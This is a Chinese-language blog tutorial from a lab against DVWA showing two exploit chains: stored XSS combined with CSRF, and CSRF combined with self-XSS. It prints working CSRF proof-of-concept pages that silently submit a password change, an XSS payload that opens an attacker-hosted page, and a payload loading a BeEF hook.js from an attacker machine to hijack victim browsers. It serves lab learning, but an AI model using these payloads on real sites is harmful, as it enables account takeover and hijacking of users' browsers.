2024全网最全面及最新的网络安全技巧 (2-2) 之 CSRF+XSS漏洞的各类利用技巧 ———— 作者:LJS 

举报
肾透侧视攻城狮 发表于 2024/10/31 18:49:46 2024/10/31
【摘要】 存储型 XSS + CSRF以及CSRF + SelfXSS 具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!

欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]


专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS 

专栏跑道三

 ➡️ MYSQL REDIS Advance operation


专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]


专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]​

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七


➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾


2.3 漏洞组合拳之XSS+CSRF记录

2.3.1 前言

  • 今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下

2.3.2靶场环境

  • 本机(Win):192.168.38.1
  • DVWA(Win):192.168.38.132
  • Beef(Kali):192.168.38.129


2.3.3 组合拳思路

  1. 第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
  2. 第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)

2.3.4 【第一拳】存储型 XSS + CSRF

(1) 构造 POC

  • a、构造 CSRF 代码
  • 这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
  • 本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
  • 继续来看,咱们需要首先为浏览器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
  • 器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
  • 这时先开启 CSRFTester 的流量记录功能。
  • 开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
  • 之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
  • 之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
    • 对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html>
<body onload="javascript:fireForms()">
<!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。
-->
<script language="JavaScript">
var pauses = new Array( "42" );
<!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。-->
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
<!--用于实现停顿,即在指定的时间内等待执行下一步操作。-->
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
        document.forms[i].submit();
        pausecomp(pauses[i]);}}
<!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作-->
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<!--定义了一个 GET 方法的表单,
其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标,
同时提供了新密码、确认密码和修改操作的参数。-->
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<!--隐藏的表单输入,用于指定要修改的密码。-->
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
<!--综合起来,这段代码的作用是在页面加载完成后,
自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL,
从而进行 CSRF 攻击。-->
  • b、构造 XSS 代码
    <script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
    /*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。
    当 src 属性指定的资源加载失败时,
    就会执行这段 JavaScript 代码。
    代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL,
    即 "http://192.168.38.1/csrf.html"。*/

(2) 开工

  • 在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
  • 在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500
  • 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.
  •  访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。

2.3.5【第二拳】CSRF + SelfXSS

(1)构造 POC

  • a、构造 XSS 代码
  • 我这里使用 beef 作为 XSS 平台。
    <script src="http://192.168.38.129:3000/hook.js"></script>
  • b、构造 CSRF 代码
  • 这里继续使用 CSRFTester 工具生成 CSRF POC。
  • 具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
  • <html>
    <body onload="javascript:fireForms()">
    <script language="JavaScript">
    var pauses = new Array( "54" );
    function pausecomp(millis){
        var date = new Date();
        var curDate = null;
        do { curDate = new Date(); }
        while(curDate-date < millis);}
    function fireForms(){
        var count = 1;
        var i=0;
        for(i=0; i<count; i++){
        	document.forms[i].submit(); 
            pausecomp(pauses[i]);}}   
    </script>
    <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
    <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> 
    /*这段代码包含一个 <form> 元素,
    它的 action 属性指向一个可能存在 XSS 漏洞的网页,
    并且带有一个参数名为 'name' 的 GET 请求参数,
    其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。
    同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/
    </form>
    </body>
    </html>
    /*综合来看,这段代码利用了 JavaScript 
    来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面,
    以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
  • 将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。 
  • http://192.168.38.1/csrf.html
  • 打开链接后,beef 中就能看到上线的主机了。

  • 不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.

2.4 总结

  • 暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。